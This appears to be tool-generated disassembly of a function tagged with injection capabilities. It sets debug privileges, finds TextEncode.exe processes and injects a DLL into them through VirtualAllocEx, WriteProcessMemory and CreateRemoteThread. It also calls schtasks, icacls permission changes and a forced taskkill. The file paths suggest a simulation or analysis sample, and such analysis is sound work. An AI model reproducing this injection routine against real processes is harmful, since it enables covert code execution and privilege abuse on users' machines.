Function at 0x401040
Capabilities:
Acquire debug privileges
Create thread
Enumerate processes
Execute command
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ec
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2e8], eax
push ebx
push esi
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push str.schtasks.exe__run__tn_run_bctextencoder
call esi
add esp, 4
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.icacls.exe_c:users_administrateur_appdatalocal_automation_simulate_dll.dll__grant_ANALYSISjdoe:RX__t__c
call esi
add esp, 4
lea eax, [esp + 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 0x20]
push eax
push 0x402140
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
push 0
push 0
push 0x10
mov dword [esp + 0x38], eax
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x30]
mov dword [esp + 0x40], 1
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.___Finding_pid..._n
call fcn.00401010
add esp, 4
mov dword [esp + 0x38], 0x22c
xor esi, esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x40117d
lea eax, [esp + 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x40117d
push str.TextEncode.exe
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
jne 0x401154
test esi, esi
jne 0x401154
lea esi, [eax + 1]
mov eax, dword [esp + 0x40]
mov dword [esp + 0x14], eax
jmp 0x40116c
push str.TextEncode.exe
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
jne 0x40116c
test esi, esi
jne 0x401242
lea eax, [esp + 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x401133
xor ebx, ebx
push dword [ebx]
mov dword [esp + 0x14], ebx
push str.first_pid_:__d_n
call fcn.00401010
push dword [ebx + 4]
push str.second_pid_:__d_n
call fcn.00401010
mov ecx, 0x21
lea edi, [esp + 0x278]
mov esi, str.c:users_administrateur_appdatalocal_automation_simulate_dll.dll
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov eax, dword [esp + 0x10]
push dword [eax + ebx*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push 0x1000
push 0x84
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov esi, eax
lea eax, [esp + 0x26c]
push 0x84
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.LoadLibraryW
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
inc ebx
cmp ebx, 1
jle 0x4011b4
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.icacls.exe_c:users_administrateur_appdatalocal_automation_simulate_dll.dll__remove:g_ANALYSISjdoe__t__c
call esi
push str.taskkill__F__T__IM_TextEncode.exe
call esi
add esp, 8
jmp 0x401063
mov eax, dword [esp + 0x40]
lea ebx, [esp + 0x14]
mov dword [esp + 0x18], eax
jmp 0x40117f